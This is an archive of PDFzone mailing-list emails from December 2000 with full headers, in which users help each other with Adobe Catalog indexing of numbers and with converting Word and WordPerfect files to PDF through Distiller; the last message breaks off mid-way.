Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hello, using Adobe Catalog to index pdf data I included the option ""incl. numbers"" because my pdf file contains plenty of item numbers I want to search for. Any chance to make Acrobat Reader/Catalog understand that item ""222 333 444"" is the same as ""2 223 334 44"" and the same as ""222333444"" ? Thanks for info, saison greetings :-) Raimund Schuitz Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 30-Dec-2000 11:07:36-GMT,3101;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id EAA16190 for ; Sat, 30 Dec 2000 04:07:35 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id EAA28221; Sat, 30 Dec 2000 04:49:22 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sat, 30 Dec 2000 04:43:39 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id EAA27943; Sat, 30 Dec 2000 04:43:36 -0600 Received: from raq.prodok.net (www.ewebcart.com [209.217.19.156] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id EAA27930 for ; Sat, 30 Dec 2000 04:43:34 -0600 Received: from [192.168.0.7] (client74-136.hispeed.ch [62.2.74.136]) by raq.prodok.net (8.9.3/8.9.3) with ESMTP id LAA15644; Sat, 30 Dec 2000 11:43:29 +0100 Mime-Version: 1.0 X-Sender: max%prodok.com@mail7.burlee.com Message-Id: In-Reply-To: <3A4D9349.11D571F7@schuitz.com> References: <3A4D9349.11D571F7@schuitz.com> Date: Sat, 30 Dec 2000 11:36:26 +0100 To: pdf@lists.pdfzone.com From: Max Wyss Subject: Re: [PDF] Adobe Catalog: Searching item numbers with spaces Cc: Schuitz Grafik Design Content-Type: text/plain; charset=""iso-8859-1"" ; format=""flowed"" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id EAA27933 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Raimund, the standard procedure is to ""normalize"" these numbers using hidden text. When you have control over the source documents, you can do that already there, if you have only PDFs, you would use a production plug-in to do this. A production plug-in is normally custom made or customized. A good source for such plug-ins is Marc V�ron (http://www.veron.ch), who has years of experience with PDF based catalogs. Hope, this can help. Max Wyss PRODOK Engineering Low Paper workflows, Smart documents, PDF forms CH-8906 Bonstetten, Switzerland Fax: +41 1 700 20 37 e-mail: mailto:max@prodok.com http://www.prodok.com [ Building Bridges for Information ] ______________________ >using Adobe Catalog to index pdf data I included the option ""incl. >numbers"" because my pdf file contains plenty of item numbers I want to >search for. >Any chance to make Acrobat Reader/Catalog understand that item ""222 333 >444"" is the same as ""2 223 334 44"" and the same as ""222333444"" ? Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 30-Dec-2000 11:24:30-GMT,2617;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id EAA16425 for ; Sat, 30 Dec 2000 04:24:29 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA29586; Sat, 30 Dec 2000 05:13:45 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sat, 30 Dec 2000 05:08:35 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id FAA29307; Sat, 30 Dec 2000 05:08:34 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA29303 for ; Sat, 30 Dec 2000 05:08:32 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id LAA16707 for ; Sat, 30 Dec 2000 11:08:34 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] Adobe Catalog: Searching item numbers with spaces Date: Sat, 30 Dec 2000 11:08:29 -0000 Message-ID: <002901c07250$d7bb4b60$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <3A4D9349.11D571F7@schuitz.com> Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > using Adobe Catalog to index pdf data I included the option ""incl. > numbers"" because my pdf file contains plenty of item numbers I want to > search for. > Any chance to make Acrobat Reader/Catalog understand that > item ""222 333 > 444"" is the same as ""2 223 334 44"" and the same as ""222333444"" ? Catalog/Search are based on indexing words, not character strings. By selecting ""include numbers"" you just say that numbers are to be treated as words. But there is no option to run words together e.g. to treat ab acus and abacus as equivalent. Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 30-Dec-2000 11:26:07-GMT,2447;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id EAA16466 for ; Sat, 30 Dec 2000 04:26:06 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA29729; Sat, 30 Dec 2000 05:15:05 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sat, 30 Dec 2000 05:10:00 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id FAA29367; Sat, 30 Dec 2000 05:09:59 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA29361 for ; Sat, 30 Dec 2000 05:09:57 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id LAA16711 for ; Sat, 30 Dec 2000 11:10:02 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] Acrobat Reader Doesn't Submit 'Mailto' in Netscape Date: Sat, 30 Dec 2000 11:09:57 -0000 Message-ID: <002a01c07251$0bca5220$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <3A4D1253.9BEA8D8C@utm.com> Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Forget e-mail. It is only suitable where you can choose a compatible e-mail system and install it and configure it on every possible system. Use CGI or ASP, just as you would if writing an HTML form. Aandi > So we have opened the pdf in the browser and when we > click the submit, the status bar has a message, > ""contacting host: [hostname]"" for about 3 > seconds....and then nothing. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 31-Dec-2000 4:59:57-GMT,3178;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id VAA03874 for ; Sat, 30 Dec 2000 21:59:56 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id WAA03140; Sat, 30 Dec 2000 22:46:10 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sat, 30 Dec 2000 22:36:08 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id WAA02546; Sat, 30 Dec 2000 22:36:06 -0600 Received: from pimout2-int.prodigy.net (pimout2-ext.prodigy.net [207.115.63.101]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id WAA02542 for ; Sat, 30 Dec 2000 22:36:05 -0600 Received: from computer (A090-0087.LSAN.splitrock.net [209.255.238.87]) by pimout2-int.prodigy.net (8.11.0/8.11.0) with SMTP id eBV4a3Q93720 for ; Sat, 30 Dec 2000 23:36:03 -0500 Message-ID: <002801c072e3$2e92f720$57eeffd1@computer> From: ""Marti"" To: References: <002201c06ee9$ed849ba0$15eeffd1@computer> <000b01c06eef$c3d92180$c3eeffd1@computer> <001601c06f02$635f94c0$6a28fea9@terra.es> Subject: Re: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Date: Sat, 30 Dec 2000 20:36:01 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Carlos When I Drag and Drop the file into Distiller, I get a xxxx.log file instead of a xxxx.PDF file. Could you offer a pointer (or two or three)? I have Distiller open on the desktop. Thanks ----- Original Message ----- From: ""La Oficina Sin Papel"" To: Sent: Monday, December 25, 2000 10:09 PM Subject: RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Try to Drag & Drop them into the Distiller printer. > > It will open the original app., and make a PDF of each, preserving the > original doc name... in batch. > > Carlos. > > > > > Receive the latest PDF News in your Inbox. > > -------------------------------------------------------------------------- -- > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 31-Dec-2000 5:22:56-GMT,2682;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id WAA04257 for ; Sat, 30 Dec 2000 22:22:55 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id XAA05457; Sat, 30 Dec 2000 23:10:03 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sat, 30 Dec 2000 23:04:50 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id XAA05105; Sat, 30 Dec 2000 23:04:49 -0600 Received: from smtp.wanadoo.es ([62.36.220.63]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id XAA05101 for ; Sat, 30 Dec 2000 23:04:48 -0600 Received: from terra (ctv21225135162.ctv.es [212.25.135.162]) by smtp.wanadoo.es (8.10.2/8.10.2) with SMTP id eBV54Ui15761 for ; Sun, 31 Dec 2000 06:04:31 +0100 (MET) Message-ID: <000701c072e6$3c1927e0$6a28fea9@terra.es> From: ""La Oficina Sin Papel"" To: References: <002201c06ee9$ed849ba0$15eeffd1@computer> <000b01c06eef$c3d92180$c3eeffd1@computer> <001601c06f02$635f94c0$6a28fea9@terra.es> <002801c072e3$2e92f720$57eeffd1@computer> Subject: RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Date: Sun, 31 Dec 2000 05:57:48 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Marti, you should be getting both of them. Distiller uses a log file to explain what it did. I don't know what machine you're using, and which Acrobat version. Besides, you need the original app. of the files installed. Distiller needs to open it in order to make the pdf Carlos > When I Drag and Drop the file into Distiller, I get a xxxx.log file instead > of a xxxx.PDF file. Could you offer a pointer (or two or three)? I have > Distiller open on the desktop. > > Thanks Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 31-Dec-2000 7:09:03-GMT,3774;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id AAA06278 for ; Sun, 31 Dec 2000 00:09:02 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id AAA09266; Sun, 31 Dec 2000 00:34:56 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sun, 31 Dec 2000 00:29:08 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id AAA09032; Sun, 31 Dec 2000 00:29:07 -0600 Received: from pimout4-int.prodigy.net (pimout4-ext.prodigy.net [207.115.63.103]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id AAA09028 for ; Sun, 31 Dec 2000 00:29:06 -0600 Received: from computer (A090-0127.LSAN.splitrock.net [209.255.238.127]) by pimout4-int.prodigy.net (8.11.0/8.11.0) with SMTP id eBV6T4Z235118 for ; Sun, 31 Dec 2000 01:29:04 -0500 Message-ID: <000801c072f2$f8b77a80$7feeffd1@computer> From: ""Marti"" To: References: <002201c06ee9$ed849ba0$15eeffd1@computer> <000b01c06eef$c3d92180$c3eeffd1@computer> <001601c06f02$635f94c0$6a28fea9@terra.es> <002801c072e3$2e92f720$57eeffd1@computer> <000701c072e6$3c1927e0$6a28fea9@terra.es> Subject: Re: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Date: Sat, 30 Dec 2000 22:29:02 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Carlos I have tried it many times with both MS Word (.DOC) files and WordPerfect (.WPD) files. I only get the .log files. I am using a Compaq 7000T running on Win Me I was using Acrobat 4.0 but also have Acrobat 3.0 Yes I do have the original application of both MS Word 2000 and WordPerfect 8 (Suite 8) Thanks for the assistance (you must monitor this 24-7!) ;-) Marti ----- Original Message ----- From: ""La Oficina Sin Papel"" To: Sent: Saturday, December 30, 2000 8:57 PM Subject: RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Marti, you should be getting both of them. Distiller uses a log file to > explain what it did. > > I don't know what machine you're using, and which Acrobat version. > > Besides, you need the original app. of the files installed. Distiller needs > to open it in order to make the pdf > > Carlos > > > When I Drag and Drop the file into Distiller, I get a xxxx.log file > instead > > of a xxxx.PDF file. Could you offer a pointer (or two or three)? I have > > Distiller open on the desktop. > > > > Thanks > > > > Receive the latest PDF News in your Inbox. > > -------------------------------------------------------------------------- -- > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 31-Dec-2000 13:45:09-GMT,3043;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id GAA12575 for ; Sun, 31 Dec 2000 06:45:08 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA24209; Sun, 31 Dec 2000 07:15:11 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sun, 31 Dec 2000 07:08:58 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id HAA23954; Sun, 31 Dec 2000 07:08:56 -0600 Received: from smtp.wanadoo.es (m1smtpisp02.wanadoo.es [62.36.220.21] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA23950 for ; Sun, 31 Dec 2000 07:08:54 -0600 Received: from terra (ctv21225132248.ctv.es [212.25.132.248]) by smtp.wanadoo.es (8.10.2/8.10.2) with SMTP id eBVD8S418962 for ; Sun, 31 Dec 2000 14:08:33 +0100 (MET) Message-ID: <000b01c0732a$8aa71400$6a28fea9@terra.es> From: ""La Oficina Sin Papel"" To: References: <002201c06ee9$ed849ba0$15eeffd1@computer> <000b01c06eef$c3d92180$c3eeffd1@computer> <001601c06f02$635f94c0$6a28fea9@terra.es> <002801c072e3$2e92f720$57eeffd1@computer> <000701c072e6$3c1927e0$6a28fea9@terra.es> <000801c072f2$f8b77a80$7feeffd1@computer> Subject: RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Date: Sun, 31 Dec 2000 14:06:44 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > Carlos > > I have tried it many times with both MS Word (.DOC) files and WordPerfect > (.WPD) files. I only get the .log files. What does the log file say? (open it to see) > I am using a Compaq 7000T running on Win Me > I was using Acrobat 4.0 but also have Acrobat 3.0 Acrobat 4 is ok. I hav not used Win Me but I wouldn't say that's the problem. > Yes I do have the original application of both MS Word 2000 and WordPerfect > 8 (Suite 8) How are you opening Distiller? Opening Start->Programs->Distiller does not work for me. It only produces a log file saying it ""flushed"" the job away. Try opening distiller from the printers folder (Start->Config->Printers->Distiller) and drop it there. Regards, Carlos Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 31-Dec-2000 16:04:49-GMT,2936;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA14846 for ; Sun, 31 Dec 2000 09:04:48 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA30567; Sun, 31 Dec 2000 09:45:12 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sun, 31 Dec 2000 09:39:28 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA30321; Sun, 31 Dec 2000 09:39:27 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id JAA30317 for ; Sun, 31 Dec 2000 09:39:25 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 98041 via TCP with SMTP; Sun, 31 Dec 2000 10:40:47 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com (Unverified) Message-Id: In-Reply-To: <002801c072e3$2e92f720$57eeffd1@computer> References: <002201c06ee9$ed849ba0$15eeffd1@computer> <000b01c06eef$c3d92180$c3eeffd1@computer> <001601c06f02$635f94c0$6a28fea9@terra.es> <002801c072e3$2e92f720$57eeffd1@computer> Date: Sun, 31 Dec 2000 10:17:05 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: Re: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Cc: theplumtrees@prodigy.net Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 8:36 PM -0800 12/30/00, Marti wrote: >When I Drag and Drop the file into Distiller, I get a xxxx.log file instead >of a xxxx.PDF file. Could you offer a pointer (or two or three)? I have >Distiller open on the desktop. > You're not trying to drop a Word or WordPerfect file on Distiller, are you? That COMPLETELY wrong! Drop those files on top of the Acrobat icon (or into the Acrobat window), and Acrobat will try to convert them for you. Distiller ONLY DOES Postscript! Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 31-Dec-2000 17:07:58-GMT,4064;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA15890 for ; Sun, 31 Dec 2000 10:07:57 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA00771; Sun, 31 Dec 2000 10:57:08 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sun, 31 Dec 2000 10:51:26 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA00540; Sun, 31 Dec 2000 10:51:25 -0600 Received: from pimout4-int.prodigy.net (pimout4-ext.prodigy.net [207.115.63.103]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA00536 for ; Sun, 31 Dec 2000 10:51:24 -0600 Received: from computer (A090-0078.LSAN.splitrock.net [209.255.238.78]) by pimout4-int.prodigy.net (8.11.0/8.11.0) with SMTP id eBVGpMZ163356 for ; Sun, 31 Dec 2000 11:51:22 -0500 Message-ID: <005a01c07349$e75b48a0$4eeeffd1@computer> From: ""Marti"" To: References: <002201c06ee9$ed849ba0$15eeffd1@computer> <000b01c06eef$c3d92180$c3eeffd1@computer> <001601c06f02$635f94c0$6a28fea9@terra.es> <002801c072e3$2e92f720$57eeffd1@computer> <000701c072e6$3c1927e0$6a28fea9@terra.es> <000801c072f2$f8b77a80$7feeffd1@computer> <000b01c0732a$8aa71400$6a28fea9@terra.es> Subject: Re: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Date: Sun, 31 Dec 2000 08:51:20 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ ----- Original Message ----- From: ""La Oficina Sin Papel"" To: Sent: Sunday, December 31, 2000 5:06 AM Subject: RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > > Carlos > > > > I have tried it many times with both MS Word (.DOC) files and WordPerfect > > (.WPD) files. I only get the .log files. > > What does the log file say? (open it to see) > > > I am using a Compaq 7000T running on Win Me > > I was using Acrobat 4.0 but also have Acrobat 3.0 > > Acrobat 4 is ok. I hav not used Win Me but I wouldn't say that's the > problem. > > > Yes I do have the original application of both MS Word 2000 and > WordPerfect > > 8 (Suite 8) > > How are you opening Distiller? > Opening Start->Programs->Distiller does not work for me. It only produces a > log file saying it ""flushed"" the job away. > Try opening distiller from the printers folder > (Start->Config->Printers->Distiller) and drop it there. > > Regards, > > Carlos > > > Receive the latest PDF News in your Inbox. > > -------------------------------------------------------------------------- -- > YES! -- When I open: Start->Settings (Config)->Printers->Acrobat PDF Writer; It works! That was the trick. Thanks a lot! I noticed that on the couple of documents that I processed, it truncated the name.... any thoughts on that? I will be trying more a little later. But, thanks again Carlos and Leonard. Got it to work! Marti Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 31-Dec-2000 17:57:24-GMT,8473;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA16744 for ; Sun, 31 Dec 2000 10:57:23 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA02477; Sun, 31 Dec 2000 11:29:59 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sun, 31 Dec 2000 11:24:29 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA02205; Sun, 31 Dec 2000 11:24:28 -0600 Received: from pimout4-int.prodigy.net (pimout4-ext.prodigy.net [207.115.63.103]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA02201 for ; Sun, 31 Dec 2000 11:24:27 -0600 Received: from computer (A090-0078.LSAN.splitrock.net [209.255.238.78]) by pimout4-int.prodigy.net (8.11.0/8.11.0) with SMTP id eBVHOOZ92820 for ; Sun, 31 Dec 2000 12:24:25 -0500 Message-ID: <007601c0734e$8501b9a0$4eeeffd1@computer> From: ""Marti"" To: References: <002201c06ee9$ed849ba0$15eeffd1@computer> <000b01c06eef$c3d92180$c3eeffd1@computer> Subject: Re: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Date: Sun, 31 Dec 2000 09:24:22 -0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0073_01C0730B.75E43B20"" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ This is a multi-part message in MIME format. ------=_NextPart_000_0073_01C0730B.75E43B20 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Re: [PDF] Converting WordPerfect, MS Word and RTF (Ric ----- Original Message -----=20 From: Leonard Rosenthol=20 To: pdf@lists.pdfzone.com=20 Sent: Tuesday, December 26, 2000 5:52 AM Subject: Re: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text = Format) to PDF ""Hidden Text"" At 7:56 PM -0800 12/25/00, Marti wrote: When I read my post, I realized I did not say what I had wanted to, = sorry. By using Acrobat PDFwriter, I can convert an individual document = to a PDF document that is searchable, but I need to automate the = process, so I can identify a file with a thousand such documents and = process them like Capture 2 does, keeping the same name of the original = document, and generating all files in PDF. Thanks Marti I would suggest looking at a 3rd party product such as = PDFDocConverter () which is designed for batch = conversion of ""office"" documents to PDF. Leonard --=20 = -------------------------------------------------------------------------= --- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice)=20 Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Leonard Because of the number of files I have to convert, I will be looking = into a 3rd party automated convertor as you suggest. I will be doing my = homework to evaluate activePDF's software as well as any others I can = locate. Have you a ready source of such vendors and/or evaluations? Thanks again for the input. Marti ------=_NextPart_000_0073_01C0730B.75E43B20 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Re: [PDF] Converting WordPerfect, MS Word and RTF = (Ric   ----- Original Message ----- From:=20 Leonard=20 Rosenthol To: pdf@lists.pdfzone.com Sent: Tuesday, December 26, = 2000 5:52=20 AM Subject: Re: [PDF] Converting=20 WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden = Text"" At 7:56 PM -0800 12/25/00, Marti wrote: When I = read my post, I=20 realized I did not say what I had wanted to, sorry.  By using = Acrobat=20 PDFwriter, I can convert an individual document to a PDF document = that is=20 searchable, but I need to automate the process, so I can identify a = file=20 with a thousand such documents and process them like Capture 2 does, = keeping=20 the same name of the original document, and generating all files in=20 PDF.  Thanks  Marti         I would = suggest=20 looking at a 3rd party product such as PDFDocConverter=20 () which is designed for batch = conversion of=20 